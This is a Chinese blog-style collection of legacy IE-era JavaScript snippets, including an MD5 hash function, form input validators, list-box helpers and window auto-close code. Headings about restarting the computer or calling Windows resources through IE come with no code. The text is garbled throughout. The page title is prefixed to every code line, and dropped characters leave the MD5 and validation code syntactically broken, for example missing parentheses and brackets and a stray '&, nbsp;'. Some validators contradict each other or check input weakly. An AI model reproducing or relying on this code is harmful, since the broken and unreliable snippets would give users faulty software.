值得收藏的JavaScript代码

用IE重起计算机或者关机

代码如下:

[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]

在IE客户端调用windows系统资源
代码如下:

[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]

一个三级关联菜单的例子

代码如下:

[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]

MSDN 中 clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 控件

代码如下:

[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]

一个关于新窗口自动调节大小的问题

代码如下:

[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]

javascript动态增加、删除、填充表格内容
 

代码如下:

[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]

层不能跨框架(包括TEXTAREA)显示的解决办法

代码如下:

[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]

object还有其他几种用法
代码如下:

[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]

做WEB热键

代码如下:

[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码] 

按下回车键指向下一个位置的一个函数
1值得收藏的JavaScript代码function tofocus(itemname)    //按回车置下一个位置 
2值得收藏的JavaScript代码        { 
3值得收藏的JavaScript代码            var a 
4值得收藏的JavaScript代码            a=eval("document.vouch."+itemname) 
5值得收藏的JavaScript代码            a.focus() 
6值得收藏的JavaScript代码        } 
7值得收藏的JavaScript代码在控件中使用onkeypress="javascrip:if(window.event.keyCode==13){tofocus('nextformname')}提取下一个控件名 

MD5加密的javascript实现例子

  1值得收藏的JavaScript代码/* MD5 Message-Digest Algorithm - JavaScript
  2值得收藏的JavaScript代码' MODIFICATION HISTORY:
  3值得收藏的JavaScript代码' 1.0    16-Feb-2001 - Phil Fresle (sales@frez.co.uk) - Initial Version (VB/ASP code)
  4值得收藏的JavaScript代码' 1.0    21-Feb-2001 - Enrico Mosanghini (erik504@yahoo.com) - JavaScript porting
  5值得收藏的JavaScript代码*/
  6值得收藏的JavaScript代码function MD5(sMessage) {
  7值得收藏的JavaScript代码function RotateLeft(lValue, iShiftBits) { return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits)); }
  8值得收藏的JavaScript代码function AddUnsigned(lX,lY) {
  9值得收藏的JavaScript代码    var lX4,lY4,lX8,lY8,lResult;
 10值得收藏的JavaScript代码    lX8 = (lX & 0x80000000);
 11值得收藏的JavaScript代码    lY8 = (lY & 0x80000000);
 12值得收藏的JavaScript代码    lX4 = (lX & 0x40000000);
 13值得收藏的JavaScript代码    lY4 = (lY & 0x40000000);
 14值得收藏的JavaScript代码    lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);
 15值得收藏的JavaScript代码    if (lX4 & lY4) return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
 16值得收藏的JavaScript代码    if (lX4 | lY4) {
 17值得收藏的JavaScript代码        if (lResult & 0x40000000return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
 18值得收藏的JavaScript代码        else return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
 19值得收藏的JavaScript代码    } else return (lResult ^ lX8 ^ lY8);
 20值得收藏的JavaScript代码}
 21值得收藏的JavaScript代码function F(x,y,z) { return (x & y) | ((~x) & z); }
 22值得收藏的JavaScript代码function G(x,y,z) { return (x & z) | (y & (~z)); }
 23值得收藏的JavaScript代码function H(x,y,z) { return (x ^ y ^ z); }
 24值得收藏的JavaScript代码function I(x,y,z) { return (y ^ (x | (~z))); }
 25值得收藏的JavaScript代码function FF(a,b,c,d,x,s,ac) {
 26值得收藏的JavaScript代码    a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
 27值得收藏的JavaScript代码    return AddUnsigned(RotateLeft(a, s), b);
 28值得收藏的JavaScript代码}
 29值得收藏的JavaScript代码function GG(a,b,c,d,x,s,ac) {
 30值得收藏的JavaScript代码    a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
 31值得收藏的JavaScript代码    return AddUnsigned(RotateLeft(a, s), b);
 32值得收藏的JavaScript代码}
 33值得收藏的JavaScript代码function HH(a,b,c,d,x,s,ac) {
 34值得收藏的JavaScript代码    a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
 35值得收藏的JavaScript代码    return AddUnsigned(RotateLeft(a, s), b);
 36值得收藏的JavaScript代码}
 37值得收藏的JavaScript代码function II(a,b,c,d,x,s,ac) {
 38值得收藏的JavaScript代码    a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
 39值得收藏的JavaScript代码    return AddUnsigned(RotateLeft(a, s), b);
 40值得收藏的JavaScript代码}
 41值得收藏的JavaScript代码function ConvertToWordArray(sMessage) {
 42值得收藏的JavaScript代码    var lWordCount;
 43值得收藏的JavaScript代码    var lMessageLength = sMessage.length;
 44值得收藏的JavaScript代码    var lNumberOfWords_temp1=lMessageLength + 8;
 45值得收藏的JavaScript代码    var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64;
 46值得收藏的JavaScript代码    var lNumberOfWords = (lNumberOfWords_temp2+1)*16;
 47值得收藏的JavaScript代码    var lWordArray=Array(lNumberOfWords-1);
 48值得收藏的JavaScript代码    var lBytePosition = 0;
 49值得收藏的JavaScript代码    var lByteCount = 0;
 50值得收藏的JavaScript代码    while ( lByteCount < lMessageLength ) {
 51值得收藏的JavaScript代码        lWordCount = (lByteCount-(lByteCount % 4))/4;
 52值得收藏的JavaScript代码        lBytePosition = (lByteCount % 4)*8;
 53值得收藏的JavaScript代码        lWordArray[lWordCount] = (lWordArray[lWordCount] | (sMessage.charCodeAt(lByteCount)<<lBytePosition));
 54值得收藏的JavaScript代码        lByteCount++;
 55值得收藏的JavaScript代码    }
 56值得收藏的JavaScript代码    lWordCount = (lByteCount-(lByteCount % 4))/4;
 57值得收藏的JavaScript代码    lBytePosition = (lByteCount % 4)*8;
 58值得收藏的JavaScript代码    lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition);
 59值得收藏的JavaScript代码    lWordArray[lNumberOfWords-2= lMessageLength<<3;
 60值得收藏的JavaScript代码    lWordArray[lNumberOfWords-1= lMessageLength>>>29;
 61值得收藏的JavaScript代码    return lWordArray;
 62值得收藏的JavaScript代码}
 63值得收藏的JavaScript代码function WordToHex(lValue) {
 64值得收藏的JavaScript代码    var WordToHexValue="",WordToHexValue_temp="",lByte,lCount;
 65值得收藏的JavaScript代码    for (lCount = 0;lCount<=3;lCount++) {
 66值得收藏的JavaScript代码        lByte = (lValue>>>(lCount*8)) & 255;
 67值得收藏的JavaScript代码        WordToHexValue_temp = "0" + lByte.toString(16);
 68值得收藏的JavaScript代码        WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2);
 69值得收藏的JavaScript代码    }
 70值得收藏的JavaScript代码    return WordToHexValue;
 71值得收藏的JavaScript代码}
 72值得收藏的JavaScript代码    var x=Array();
 73值得收藏的JavaScript代码    var k,AA,BB,CC,DD,a,b,c,d
 74值得收藏的JavaScript代码    var S11=7, S12=12, S13=17, S14=22;
 75值得收藏的JavaScript代码    var S21=5, S22=9 , S23=14, S24=20;
 76值得收藏的JavaScript代码    var S31=4, S32=11, S33=16, S34=23;
 77值得收藏的JavaScript代码    var S41=6, S42=10, S43=15, S44=21;
 78值得收藏的JavaScript代码    // Steps 1 and 2.  Append padding bits and length and convert to words
 79值得收藏的JavaScript代码    x = ConvertToWordArray(sMessage);
 80值得收藏的JavaScript代码    // Step 3.  Initialise
 81值得收藏的JavaScript代码    a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476;
 82值得收藏的JavaScript代码    // Step 4.  Process the message in 16-word blocks
 83值得收藏的JavaScript代码    for (k=0;k<x.length;k+=16) {
 84值得收藏的JavaScript代码        AA=a; BB=b; CC=c; DD=d;
 85值得收藏的JavaScript代码        a=FF(a,b,c,d,x[k+0], S11,0xD76AA478);
 86值得收藏的JavaScript代码        d=FF(d,a,b,c,x[k+1], S12,0xE8C7B756);
 87值得收藏的JavaScript代码        c=FF(c,d,a,b,x[k+2], S13,0x242070DB);
 88值得收藏的JavaScript代码        b=FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE);
 89值得收藏的JavaScript代码        a=FF(a,b,c,d,x[k+4], S11,0xF57C0FAF);
 90值得收藏的JavaScript代码        d=FF(d,a,b,c,x[k+5], S12,0x4787C62A);
 91值得收藏的JavaScript代码        c=FF(c,d,a,b,x[k+6], S13,0xA8304613);
 92值得收藏的JavaScript代码        b=FF(b,c,d,a,x[k+7], S14,0xFD469501);
 93值得收藏的JavaScript代码        a=FF(a,b,c,d,x[k+8], S11,0x698098D8);
 94值得收藏的JavaScript代码        d=FF(d,a,b,c,x[k+9], S12,0x8B44F7AF);
 95值得收藏的JavaScript代码        c=FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1);
 96值得收藏的JavaScript代码        b=FF(b,c,d,a,x[k+11],S14,0x895CD7BE);
 97值得收藏的JavaScript代码        a=FF(a,b,c,d,x[k+12],S11,0x6B901122);
 98值得收藏的JavaScript代码        d=FF(d,a,b,c,x[k+13],S12,0xFD987193);
 99值得收藏的JavaScript代码        c=FF(c,d,a,b,x[k+14],S13,0xA679438E);
100值得收藏的JavaScript代码        b=FF(b,c,d,a,x[k+15],S14,0x49B40821);
101值得收藏的JavaScript代码        a=GG(a,b,c,d,x[k+1], S21,0xF61E2562);
102值得收藏的JavaScript代码        d=GG(d,a,b,c,x[k+6], S22,0xC040B340);
103值得收藏的JavaScript代码        c=GG(c,d,a,b,x[k+11],S23,0x265E5A51);
104值得收藏的JavaScript代码        b=GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA);
105值得收藏的JavaScript代码        a=GG(a,b,c,d,x[k+5], S21,0xD62F105D);
106值得收藏的JavaScript代码        d=GG(d,a,b,c,x[k+10],S22,0x2441453);
107值得收藏的JavaScript代码        c=GG(c,d,a,b,x[k+15],S23,0xD8A1E681);
108值得收藏的JavaScript代码        b=GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8);
109值得收藏的JavaScript代码        a=GG(a,b,c,d,x[k+9], S21,0x21E1CDE6);
110值得收藏的JavaScript代码        d=GG(d,a,b,c,x[k+14],S22,0xC33707D6);
111值得收藏的JavaScript代码        c=GG(c,d,a,b,x[k+3], S23,0xF4D50D87);
112值得收藏的JavaScript代码        b=GG(b,c,d,a,x[k+8], S24,0x455A14ED);
113值得收藏的JavaScript代码        a=GG(a,b,c,d,x[k+13],S21,0xA9E3E905);
114值得收藏的JavaScript代码        d=GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8);
115值得收藏的JavaScript代码        c=GG(c,d,a,b,x[k+7], S23,0x676F02D9);
116值得收藏的JavaScript代码        b=GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A);
117值得收藏的JavaScript代码        a=HH(a,b,c,d,x[k+5], S31,0xFFFA3942);
118值得收藏的JavaScript代码        d=HH(d,a,b,c,x[k+8], S32,0x8771F681);
119值得收藏的JavaScript代码        c=HH(c,d,a,b,x[k+11],S33,0x6D9D6122);
120值得收藏的JavaScript代码        b=HH(b,c,d,a,x[k+14],S34,0xFDE5380C);
121值得收藏的JavaScript代码        a=HH(a,b,c,d,x[k+1], S31,0xA4BEEA44);
122值得收藏的JavaScript代码        d=HH(d,a,b,c,x[k+4], S32,0x4BDECFA9);
123值得收藏的JavaScript代码        c=HH(c,d,a,b,x[k+7], S33,0xF6BB4B60);
124值得收藏的JavaScript代码        b=HH(b,c,d,a,x[k+10],S34,0xBEBFBC70);
125值得收藏的JavaScript代码        a=HH(a,b,c,d,x[k+13],S31,0x289B7EC6);
126值得收藏的JavaScript代码        d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA);
127值得收藏的JavaScript代码        c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085);
128值得收藏的JavaScript代码        b=HH(b,c,d,a,x[k+6], S34,0x4881D05);
129值得收藏的JavaScript代码        a=HH(a,b,c,d,x[k+9], S31,0xD9D4D039);
130值得收藏的JavaScript代码        d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5);
131值得收藏的JavaScript代码        c=HH(c,d,a,b,x[k+15],S33,0x1FA27CF8);
132值得收藏的JavaScript代码        b=HH(b,c,d,a,x[k+2], S34,0xC4AC5665);
133值得收藏的JavaScript代码        a=II(a,b,c,d,x[k+0], S41,0xF4292244);
134值得收藏的JavaScript代码        d=II(d,a,b,c,x[k+7], S42,0x432AFF97);
135值得收藏的JavaScript代码        c=II(c,d,a,b,x[k+14],S43,0xAB9423A7);
136值得收藏的JavaScript代码        b=II(b,c,d,a,x[k+5], S44,0xFC93A039);
137值得收藏的JavaScript代码        a=II(a,b,c,d,x[k+12],S41,0x655B59C3);
138值得收藏的JavaScript代码        d=II(d,a,b,c,x[k+3], S42,0x8F0CCC92);
139值得收藏的JavaScript代码        c=II(c,d,a,b,x[k+10],S43,0xFFEFF47D);
140值得收藏的JavaScript代码        b=II(b,c,d,a,x[k+1], S44,0x85845DD1);
141值得收藏的JavaScript代码        a=II(a,b,c,d,x[k+8], S41,0x6FA87E4F);
142值得收藏的JavaScript代码        d=II(d,a,b,c,x[k+15],S42,0xFE2CE6E0);
143值得收藏的JavaScript代码        c=II(c,d,a,b,x[k+6], S43,0xA3014314);
144值得收藏的JavaScript代码        b=II(b,c,d,a,x[k+13],S44,0x4E0811A1);
145值得收藏的JavaScript代码        a=II(a,b,c,d,x[k+4], S41,0xF7537E82);
146值得收藏的JavaScript代码        d=II(d,a,b,c,x[k+11],S42,0xBD3AF235);
147值得收藏的JavaScript代码        c=II(c,d,a,b,x[k+2], S43,0x2AD7D2BB);
148值得收藏的JavaScript代码        b=II(b,c,d,a,x[k+9], S44,0xEB86D391);
149值得收藏的JavaScript代码        a=AddUnsigned(a,AA); b=AddUnsigned(b,BB); c=AddUnsigned(c,CC); d=AddUnsigned(d,DD);
150值得收藏的JavaScript代码    }
151值得收藏的JavaScript代码    // Step 5.  Output the 128 bit digest
152值得收藏的JavaScript代码    var temp= WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d);
153值得收藏的JavaScript代码    return temp.toLowerCase();
154值得收藏的JavaScript代码}

改进的email检查js脚本
 1值得收藏的JavaScript代码function isEmail(str) 
 2值得收藏的JavaScript代码
 3值得收藏的JavaScript代码// are regular expressions supported? 
 4值得收藏的JavaScript代码var supported = 0
 5值得收藏的JavaScript代码if (window.RegExp) { 
 6值得收藏的JavaScript代码var tempStr = "a"
 7值得收藏的JavaScript代码var tempReg = new RegExp(tempStr); 
 8值得收藏的JavaScript代码if (tempReg.test(tempStr)) supported = 1
 9值得收藏的JavaScript代码
10值得收藏的JavaScript代码if (!supported) 
11值得收藏的JavaScript代码return (str.indexOf("."> 2&& (str.indexOf("@"> 0); 
12值得收藏的JavaScript代码var r1 = new RegExp("(@.*@)|(\\.\\.)|(@\\.)|(^\\.)"); 
13值得收藏的JavaScript代码var r2 = new RegExp("^.+\\@(\\[?)][a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$"); 
14值得收藏的JavaScript代码return (!r1.test(str) && r2.test(str)); 
15值得收藏的JavaScript代码}

判断输入是否为中文的函数
1值得收藏的JavaScript代码function ischinese(s){
2值得收藏的JavaScript代码var ret=true;
3值得收藏的JavaScript代码for(var i=0;i<s.length;i++)
4值得收藏的JavaScript代码ret=ret && (s.charCodeAt(i)>=10000);
5值得收藏的JavaScript代码return ret;
6值得收藏的JavaScript代码}

综合的判断用户输入的合法性的函数

  1值得收藏的JavaScript代码<script language="javascript">
  2值得收藏的JavaScript代码//限制输入字符的位数开始
  3值得收藏的JavaScript代码//m是用户输入,n是要限制的位数
  4值得收藏的JavaScript代码function issmall(m,n)
  5值得收藏的JavaScript代码{
  6值得收藏的JavaScript代码if ((m<n) && (m>0))
  7值得收藏的JavaScript代码  {
  8值得收藏的JavaScript代码  return(false);
  9值得收藏的JavaScript代码  }
 10值得收藏的JavaScript代码else
 11值得收藏的JavaScript代码{return(true);}
 12值得收藏的JavaScript代码}
 13值得收藏的JavaScript代码
 14值得收藏的JavaScript代码//限制输入字符的位数结束
 15值得收藏的JavaScript代码
 16值得收藏的JavaScript代码//判断密码是否输入一致开始
 17值得收藏的JavaScript代码function issame(str1,str2)
 18值得收藏的JavaScript代码{
 19值得收藏的JavaScript代码if (str1==str2)
 20值得收藏的JavaScript代码{return(true);}
 21值得收藏的JavaScript代码else
 22值得收藏的JavaScript代码{return(false);}
 23值得收藏的JavaScript代码}
 24值得收藏的JavaScript代码//判断密码是否输入一致结束
 25值得收藏的JavaScript代码
 26值得收藏的JavaScript代码//判断是否为空开始
 27值得收藏的JavaScript代码function isnotnull(str)
 28值得收藏的JavaScript代码{
 29值得收藏的JavaScript代码if (str.length=="")
 30值得收藏的JavaScript代码  {
 31值得收藏的JavaScript代码  return(false);
 32值得收藏的JavaScript代码  }
 33值得收藏的JavaScript代码else
 34值得收藏的JavaScript代码{
 35值得收藏的JavaScript代码  return(true);
 36值得收藏的JavaScript代码}
 37值得收藏的JavaScript代码}
 38值得收藏的JavaScript代码
 39值得收藏的JavaScript代码//判断是否为空结束
 40值得收藏的JavaScript代码
 41值得收藏的JavaScript代码
 42值得收藏的JavaScript代码//判断用户名是否为数字字母下滑线开始
 43值得收藏的JavaScript代码function notchinese(str){
 44值得收藏的JavaScript代码var reg=/[^A-Za-z0-9_]/g
 45值得收藏的JavaScript代码    if (reg.test(str)){
 46值得收藏的JavaScript代码    return (false);
 47值得收藏的JavaScript代码    }else{
 48值得收藏的JavaScript代码return(true);    }
 49值得收藏的JavaScript代码}
 50值得收藏的JavaScript代码
 51值得收藏的JavaScript代码//判断用户名是否为数字字母下滑线结束
 52值得收藏的JavaScript代码
 53值得收藏的JavaScript代码//判断是否为日期型开始
 54值得收藏的JavaScript代码function isDate (theStr) {
 55值得收藏的JavaScript代码    var the1st = theStr.indexOf('-');
 56值得收藏的JavaScript代码    var the2nd = theStr.lastIndexOf('-');
 57值得收藏的JavaScript代码    
 58值得收藏的JavaScript代码    if (the1st == the2nd) { return(false); }
 59值得收藏的JavaScript代码    else {
 60值得收藏的JavaScript代码        var y = theStr.substring(0,the1st);
 61值得收藏的JavaScript代码        var m = theStr.substring(the1st+1,the2nd);
 62值得收藏的JavaScript代码        var d = theStr.substring(the2nd+1,theStr.length);
 63值得收藏的JavaScript代码        var maxDays = 31;
 64值得收藏的JavaScript代码        
 65值得收藏的JavaScript代码        if (fucCheckNUM(m)==false || fucCheckNUM(d)==false || fucCheckNUM(y)==false) {
 66值得收藏的JavaScript代码            return(false); }
 67值得收藏的JavaScript代码        else if (y.length < 4) { return(false); }
 68值得收藏的JavaScript代码        else if ((m<1|| (m>12)) { return(false); }
 69值得收藏的JavaScript代码        else if (m==4 || m==6 || m==9 || m==11) maxDays = 30;
 70值得收藏的JavaScript代码        else if (m==2) {
 71值得收藏的JavaScript代码            if (y % 4 > 0) maxDays = 28;
 72值得收藏的JavaScript代码            else if (y % 100 == 0 && y % 400 > 0) maxDays = 28;
 73值得收藏的JavaScript代码               else maxDays = 29;
 74值得收藏的JavaScript代码        }
 75值得收藏的JavaScript代码        if  ((m<1|| (m>maxDays)) { return(false); }
 76值得收藏的JavaScript代码        else { return(true); }
 77值得收藏的JavaScript代码    }
 78值得收藏的JavaScript代码}
 79值得收藏的JavaScript代码
 80值得收藏的JavaScript代码function fucCheckNUM(NUM)
 81值得收藏的JavaScript代码{
 82值得收藏的JavaScript代码    var i,j,strTemp;
 83值得收藏的JavaScript代码    strTemp="0123456789";
 84值得收藏的JavaScript代码    if ( NUM.length== 0)
 85值得收藏的JavaScript代码        return 0
 86值得收藏的JavaScript代码    for (i=0;i<NUM.length;i++)
 87值得收藏的JavaScript代码    {
 88值得收藏的JavaScript代码        j=strTemp.indexOf(NUM.charAt(i));    
 89值得收藏的JavaScript代码        if (j==-1)
 90值得收藏的JavaScript代码        {
 91值得收藏的JavaScript代码        //说明有字符不是数字
 92值得收藏的JavaScript代码            return 0;
 93值得收藏的JavaScript代码        }
 94值得收藏的JavaScript代码    }
 95值得收藏的JavaScript代码    //说明是数字
 96值得收藏的JavaScript代码    return 1;
 97值得收藏的JavaScript代码
 98值得收藏的JavaScript代码
 99值得收藏的JavaScript代码//判断是否为日期型结束
100值得收藏的JavaScript代码
101值得收藏的JavaScript代码
102值得收藏的JavaScript代码//判断是否为固定的位数开始
103值得收藏的JavaScript代码function isatn(m,n)
104值得收藏的JavaScript代码{
105值得收藏的JavaScript代码if (m!=n)
106值得收藏的JavaScript代码  {
107值得收藏的JavaScript代码  return(false);
108值得收藏的JavaScript代码  }
109值得收藏的JavaScript代码else
110值得收藏的JavaScript代码{
111值得收藏的JavaScript代码return(true);}
112值得收藏的JavaScript代码}
113值得收藏的JavaScript代码//判断是否为固定的位数结束
114值得收藏的JavaScript代码
115值得收藏的JavaScript代码//判断是否为电话号码开始
116值得收藏的JavaScript代码function istel(telstr)
117值得收藏的JavaScript代码{
118值得收藏的JavaScript代码   var reg=/[^0-9-]/g;
119值得收藏的JavaScript代码   if (telstr!="") {
120值得收藏的JavaScript代码   if (reg.test(telstr)){
121值得收藏的JavaScript代码   return(false);
122值得收藏的JavaScript代码   }
123值得收藏的JavaScript代码   else
124值得收藏的JavaScript代码   {
125值得收藏的JavaScript代码   return(true);
126值得收藏的JavaScript代码   }
127值得收藏的JavaScript代码   }
128值得收藏的JavaScript代码   }
129值得收藏的JavaScript代码//判断是否为电话号码结束
130值得收藏的JavaScript代码
131值得收藏的JavaScript代码//判断是否为email开始
132值得收藏的JavaScript代码function isemail(emailstr) {
133值得收藏的JavaScript代码        if ((emailstr.indexOf('@', 0== -1|| emailstr.indexOf('.') == -1
134值得收藏的JavaScript代码                {
135值得收藏的JavaScript代码            return false
136值得收藏的JavaScript代码        }
137值得收藏的JavaScript代码        else {
138值得收藏的JavaScript代码            return true
139值得收藏的JavaScript代码        }
140值得收藏的JavaScript代码    }
141值得收藏的JavaScript代码//判断是否为email结束
142值得收藏的JavaScript代码
143值得收藏的JavaScript代码//中文输入判断开始
144值得收藏的JavaScript代码function ischinese(str){
145值得收藏的JavaScript代码var reg=/[^A-Za-z0-9_]/g
146值得收藏的JavaScript代码    if (reg.test(str)){
147值得收藏的JavaScript代码    return (true);
148值得收藏的JavaScript代码    }else{
149值得收藏的JavaScript代码return(false);    }
150值得收藏的JavaScript代码}
151值得收藏的JavaScript代码//中文输入判断结束
152值得收藏的JavaScript代码</script>

按esc键退出的一个函数

1值得收藏的JavaScript代码function esckey(keycode)         //按esc键退出
2值得收藏的JavaScript代码        {
3值得收藏的JavaScript代码            if(keycode == 27)
4值得收藏的JavaScript代码                {
5值得收藏的JavaScript代码                    window.close()
6值得收藏的JavaScript代码                }
7值得收藏的JavaScript代码        }

自动关闭窗口
 1值得收藏的JavaScript代码做一些小窗口发消息的等程序常用到自动关闭窗口
 2值得收藏的JavaScript代码方法一:
 3值得收藏的JavaScript代码<OBJECT id=closew type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"> 
 4值得收藏的JavaScript代码<param name="Command" value="Close"> 
 5值得收藏的JavaScript代码</object> 
 6值得收藏的JavaScript代码<script LANGUAGE="JavaScript">
 7值得收藏的JavaScript代码<!--
 8值得收藏的JavaScript代码setTimeout('colosw.Click();', 1000);
 9值得收藏的JavaScript代码// -->
10值得收藏的JavaScript代码</script>
11值得收藏的JavaScript代码<%
12值得收藏的JavaScript代码response.write"留言成功!"
13值得收藏的JavaScript代码值得收藏的JavaScript代码
14值得收藏的JavaScript代码
15值得收藏的JavaScript代码设置1秒留点时间显示 "留言成功!"
16值得收藏的JavaScript代码缺点,无发使用与Tencent等一些浏览器,会把整个窗一起关掉
17值得收藏的JavaScript代码
18值得收藏的JavaScript代码
19值得收藏的JavaScript代码方法二
20值得收藏的JavaScript代码<script LANGUAGE="JavaScript">
21值得收藏的JavaScript代码<!--
22值得收藏的JavaScript代码function closew(){
23值得收藏的JavaScript代码        self.focus();
24值得收藏的JavaScript代码        self.close();
25值得收藏的JavaScript代码        return false;
26值得收藏的JavaScript代码    } 
27值得收藏的JavaScript代码
28值得收藏的JavaScript代码setTimeout("closew();"1000);
29值得收藏的JavaScript代码// -->
30值得收藏的JavaScript代码</script>
31值得收藏的JavaScript代码<%
32值得收藏的JavaScript代码response.write"留言成功!"
33值得收藏的JavaScript代码
34值得收藏的JavaScript代码推荐使用

列表框操作函数集合
  1值得收藏的JavaScript代码/* 列表框互相操作函数集 */
  2值得收藏的JavaScript代码
  3值得收藏的JavaScript代码//描述: 添加不重复列表框元素
  4值得收藏的JavaScript代码function selAdd( srcList, dstList )
  5值得收藏的JavaScript代码{
  6值得收藏的JavaScript代码    var selectedIndex = new Array();
  7值得收藏的JavaScript代码    var count = 0;
  8值得收藏的JavaScript代码
  9值得收藏的JavaScript代码    for ( i=0; i<srcList.options.length; i++ ){
 10值得收藏的JavaScript代码
 11值得收藏的JavaScript代码        if ( srcList.options[i].selected ){
 12值得收藏的JavaScript代码            
 13值得收藏的JavaScript代码            selectedIndex[count] = i;
 14值得收藏的JavaScript代码            count ++;
 15值得收藏的JavaScript代码
 16值得收藏的JavaScript代码        }
 17值得收藏的JavaScript代码    }                    
 18值得收藏的JavaScript代码
 19值得收藏的JavaScript代码    for ( j=0; j<selectedIndex.length; j++ ){
 20值得收藏的JavaScript代码        
 21值得收藏的JavaScript代码        k = selectedIndex[j];
 22值得收藏的JavaScript代码
 23值得收藏的JavaScript代码        if ( chkDup( srcList.options[k].value, dstList )==false ){
 24值得收藏的JavaScript代码        &, nbsp;   dstList.options.length++;
 25值得收藏的JavaScript代码            var len = dstList.options.length-1;
 26值得收藏的JavaScript代码            dstList.options[len].value = srcList.options[k].value;
 27值得收藏的JavaScript代码            dstList.options[len].text = srcList.options[k].text;
 28值得收藏的JavaScript代码        }
 29值得收藏的JavaScript代码
 30值得收藏的JavaScript代码    }
 31值得收藏的JavaScript代码
 32值得收藏的JavaScript代码}
 33值得收藏的JavaScript代码
 34值得收藏的JavaScript代码//描述: 删除列表框元素
 35值得收藏的JavaScript代码function selDel( list )
 36值得收藏的JavaScript代码{
 37值得收藏的JavaScript代码    var len = list.options.length;
 38值得收藏的JavaScript代码    var idx = 0;
 39值得收藏的JavaScript代码
 40值得收藏的JavaScript代码    while ( idx< len ){
 41值得收藏的JavaScript代码
 42值得收藏的JavaScript代码        if ( list.options[idx].selected ){
 43值得收藏的JavaScript代码            list.options.remove(idx);
 44值得收藏的JavaScript代码            len = list.options.length;
 45值得收藏的JavaScript代码        }
 46值得收藏的JavaScript代码        else{
 47值得收藏的JavaScript代码            idx ++;
 48值得收藏的JavaScript代码        }
 49值得收藏的JavaScript代码    }
 50值得收藏的JavaScript代码}
 51值得收藏的JavaScript代码
 52值得收藏的JavaScript代码//描述: 检测列表框元素重复
 53值得收藏的JavaScript代码function chkDup( item, list )
 54值得收藏的JavaScript代码{
 55值得收藏的JavaScript代码    for ( i=0; i<list.options.length; i++ ){
 56值得收藏的JavaScript代码        //alert( item + " - " + list.options[i].value );
 57值得收藏的JavaScript代码        if ( item == list.options[i].value ){
 58值得收藏的JavaScript代码            return true;
 59值得收藏的JavaScript代码        }
 60值得收藏的JavaScript代码    }                    
 61值得收藏的JavaScript代码    return false;
 62值得收藏的JavaScript代码}
 63值得收藏的JavaScript代码
 64值得收藏的JavaScript代码//描述: 选择列表框的全部成员
 65值得收藏的JavaScript代码function selSel( list, item )
 66值得收藏的JavaScript代码{
 67值得收藏的JavaScript代码    item.value = " ";
 68值得收藏的JavaScript代码    for ( i=0; i<list.options.length; i++ ){
 69值得收藏的JavaScript代码        list.options[i].selected=true;
 70值得收藏的JavaScript代码        item.value += list.options[i].value + " ";
 71值得收藏的JavaScript代码    }
 72值得收藏的JavaScript代码
 73值得收藏的JavaScript代码}
 74值得收藏的JavaScript代码
 75值得收藏的JavaScript代码function selSelSingle( list, value )
 76值得收藏的JavaScript代码{
 77值得收藏的JavaScript代码    for ( i=0; i<list.options.length; i++ ){
 78值得收藏的JavaScript代码        if ( list.options[i].value == value ){
 79值得收藏的JavaScript代码            list.options[i].selected=true;
 80值得收藏的JavaScript代码            break;
 81值得收藏的JavaScript代码        }
 82值得收藏的JavaScript代码    }
 83值得收藏的JavaScript代码
 84值得收藏的JavaScript代码}
 85值得收藏的JavaScript代码//描述: 根据数组初始化列表框
 86值得收藏的JavaScript代码function selList( item, arr )
 87值得收藏的JavaScript代码{
 88值得收藏的JavaScript代码
 89值得收藏的JavaScript代码    var curIndex, insIndex, val, text;
 90值得收藏的JavaScript代码    var arrItem = new Array();
 91值得收藏的JavaScript代码
 92值得收藏的JavaScript代码    if ( item ){
 93值得收藏的JavaScript代码
 94值得收藏的JavaScript代码        item.length = 0;
 95值得收藏的JavaScript代码        curIndex = 0;
 96值得收藏的JavaScript代码
 97值得收藏的JavaScript代码        for ( i=0; i<arr.length; i++ ){
 98值得收藏的JavaScript代码
 99值得收藏的JavaScript代码            item.length ++;
100值得收藏的JavaScript代码            insIndex = item.length - 1;
101值得收藏的JavaScript代码            
102值得收藏的JavaScript代码            if ( arr[i] ){
103值得收藏的JavaScript代码                arrItem = arr[i].split( "" );
104值得收藏的JavaScript代码                text = arrItem[1];
105值得收藏的JavaScript代码                val  = arrItem[0];
106值得收藏的JavaScript代码                item.options[ insIndex ].text = text;    
107值得收藏的JavaScript代码                item.options[ insIndex ].value= val;
108值得收藏的JavaScript代码            }
109值得收藏的JavaScript代码        }
110值得收藏的JavaScript代码
